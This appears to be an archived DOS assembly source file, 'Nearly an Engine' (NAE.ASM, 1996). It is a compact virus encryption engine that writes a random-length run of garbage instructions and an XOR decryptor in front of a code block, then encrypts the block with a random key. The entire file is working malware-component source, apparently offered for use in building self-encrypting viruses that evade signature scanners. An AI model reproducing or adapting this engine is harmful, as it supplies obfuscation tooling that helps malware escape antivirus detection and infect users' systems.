home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / NAE.ZIP / NAE.ASM
Encoding:
Assembly Source File  |  1996-09-08  |  3.3 KB  |  83 lines

  1. comment *
  2.                      Nearly an Engine v 1.00 [NaE]
  3.  
  4.  
  5.                  Calling parameters:
  6.                    DL     One byte garbage instruction
  7.                    CX     Length of original code
  8.                    BP     Decryptors offset
  9.                    DS:SI  Pointer to original code
  10.                    ES:DI  Pointer to decryptor + encrypted code
  11.  
  12.                  Return parameters:
  13.                    CX     Length of decryptor + encrypted code
  14.  
  15.                  AX, DX, SI, DI and the flags are destroyed.
  16.  
  17.                  The size of the decryptor will range from 13
  18.                  to 268 bytes. The decryption algorithm is a
  19.                  8-bit exclusive OR (XOR) with a random
  20.                  decryption value.
  21.  
  22.                  The size of NaE is 66 bytes (excl. ' [NaE] ').
  23. *
  24.  
  25. nae_begin    equ     $                   ; Begining of Nearly an Engine
  26.  
  27. nae_crypt    proc    near                ; Nearly an Engine
  28.              push    cx                  ; Save CX at stack
  29.              push    si                  ; Save SI at stack
  30.              push    cx                  ; Save CX at stack
  31.              push    cx                  ; Save CX at stack
  32.  
  33.              xor     ax,ax               ; Clear AX
  34.              in      al,40h              ; AL = random number
  35.              push    ax                  ; Save AX at stack
  36.              xchg    ax,cx               ; Exchange AX with CX
  37.              mov     al,dl               ; AL = garbage instruction
  38.              rep     stosb               ; Generate garbage instructions
  39.  
  40.              pop     ax                  ; Load AX from stack
  41.              add     ax,(decryptorend-decryptor)
  42.              mov     dx,ax               ; DX = size of garbage + decryptor
  43.              add     ax,bp               ; Add decryptor's offset to AX
  44.              mov     word ptr decryptor+01h,ax
  45.  
  46.              pop     ax                  ; Load AX from stack (CX)
  47.              mov     word ptr decryptor+04h,ax
  48.  
  49.              in      al,40h              ; AL = random number
  50.              mov     byte ptr decrypt+03h,al
  51.  
  52.              mov     cl,(decryptorend-decryptor)
  53.              lea     si,decryptor        ; SI = offset of decryptor
  54.              rep     movsb               ; Move the decryptor
  55.  
  56.              pop     cx                  ; Load CX from stack
  57.              pop     si                  ; Load SI from stack
  58.  
  59.              push    di                  ; Save DI at stack
  60.              rep     movsb               ; Move plain code after the decryptor
  61.              pop     di                  ; Load DI from stack
  62.  
  63.              jmp     encrypt
  64. decryptor:
  65.              mov     di,0000h            ; DI = offset of encrypted code
  66. encrypt:
  67.              mov     cx,0000h            ; CX = length of encrypted code
  68. decrypt:
  69.              xor     byte ptr cs:[di],00h
  70.              inc     di                  ; Increase DI
  71.              loop    decrypt
  72. decryptorend:
  73.              pop     cx                  ; Load CX from stack
  74.              add     cx,dx               ; CX = length of decryptor etc.
  75.  
  76.              ret                         ; Return!
  77.              endp
  78.  
  79. enginename   db      ' [NaE] '           ; Name of the engine
  80.  
  81. nae_end      equ     $                   ; End of Nearly an Engine
  82. nae_size     equ     $-nae_begin         ; Size of Nearly an Engine
  83.